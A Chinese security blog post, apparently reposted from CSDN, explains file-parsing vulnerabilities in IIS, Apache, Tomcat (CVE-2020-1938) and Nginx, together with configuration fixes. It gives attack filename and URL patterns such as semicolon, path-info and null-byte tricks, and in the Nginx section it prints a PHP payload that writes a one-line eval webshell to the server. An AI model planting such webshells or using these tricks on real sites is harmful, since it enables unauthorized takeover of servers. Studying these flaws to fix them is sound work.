【网络安全】网站中间件存在的解析漏洞

博主昵称:跳楼梯企鹅
博主主页面链接:博主主页传送门

博主专栏页面连接:专栏传送门--网路安全技术
创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。
博主座右铭:发现光,追随光,成为光,散发光;
博主研究方向:渗透测试、机器学习 ;
博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;



目录

一、什么是解析漏洞

二、网页常用中间件

三、中间件解析漏洞

1.IIS

2.APACHE

3.TOMCAT

4.NGINX

四、小结


一、什么是解析漏洞

解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx等中间件在某种情况下被解释成脚本文件格式的漏洞。

通俗来说就是,对文件解析有特定限制,但是存在漏洞,可以绕过限制上传任意文件的一种过程。

二、网页常用中间件

1.IIS

IIS的全称是Internet Information Services(互联网信息服务),是微软提供的运行在Windows系统下的中间件,主要用来解析.ASP,.ASA,.CER三种文件格式的文件。在实际上传环境中一般ASP这种文件都是黑名单的,所以有时候可以尝试一下ASA和CER这两种格式上传,有时候会有意想不到的结果。

2.APACHE

Apache 是世界使用排名第一的Web服务器软件,几乎可以运行在所有的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。

3.TOMCAT

TomcatTomcat是一个实现了JAVA EE标准的最小的WEB服务器,是Apache 软件基金会的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定,而且开源免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

4.NGINX

Nginx是一个开源且高性能、可靠的HTTP中间件、代理服务。其特点是占有内存少,并发能力强。

三、中间件解析漏洞

1.IIS解析漏洞

(1)IIS5.x - 6.x 解析漏洞


    使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
    目录解析(6.0)
    形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
    /test.asa
    /test.cer
    /test.cdx

(2)IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

IIS 7.0/IIS 7.5/ Nginx <8.03在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
在某些使用有漏洞的网站中,访问http://127.0.0.1/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。
1.jpg/1.php

(3)IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

(4)修复方案

修复方案
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。

2.APACHE解析漏洞

(1)APACHE配置文件漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。
    
    漏洞形式
        www.xxxx.xxx.com/test.php.php123

①如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
②如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

(2)修复方案

①apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
 

        <Files ~ “.(php.|php3.)”>
                Order Allow,Deny
                Deny from all
        </Files>

②用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:
 

    <IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteRule .(php.|php3.) /index.php
	RewriteRule .(pHp.|pHp3.) /index.php
	RewriteRule .(phP.|phP3.) /index.php
	RewriteRule .(Php.|Php3.) /index.php
	RewriteRule .(PHp.|PHp3.) /index.php
	RewriteRule .(PhP.|PhP3.) /index.php
	RewriteRule .(pHP.|pHP3.) /index.php
	RewriteRule .(PHP.|PHP3.) /index.php
	</IfModule>

3.TOMCAT解析漏洞

(1)CVE-2020-1938文件包含漏洞

描述

  该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,如:webapp配置文件或源代码等。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

漏洞影响版本

Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31

漏洞分析

  Tomcat在处理ajp协议时存在漏洞,可通过调用request.setAttribute为Tomcat设置任意request属性。复现发现Tomcat ajp协议存在web目录下任意文件读取漏洞以及JSP文件包含漏洞。
  当ajp URI设置为非jsp路径时,Tomcat会调用DefaultServlet处理,此时会导致web目录任意文件读取漏洞。

  当ajp URI设置为jsp路径时,Tomcat会调用JspServlet处理,此时会导致JSP文件包含漏洞

4.NGINX解析漏洞

漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式

    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    www.xxxx.com/UploadFiles/image/1.jpg%00.php
    www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

四、小结

基本上每年都会爆出中间件存在大大小小的漏洞,但是官方一般情况下都会即使打补丁进行维护,所以危害不是很严重。

猜你喜欢

转载自blog.csdn.net/weixin_50481708/article/details/125863238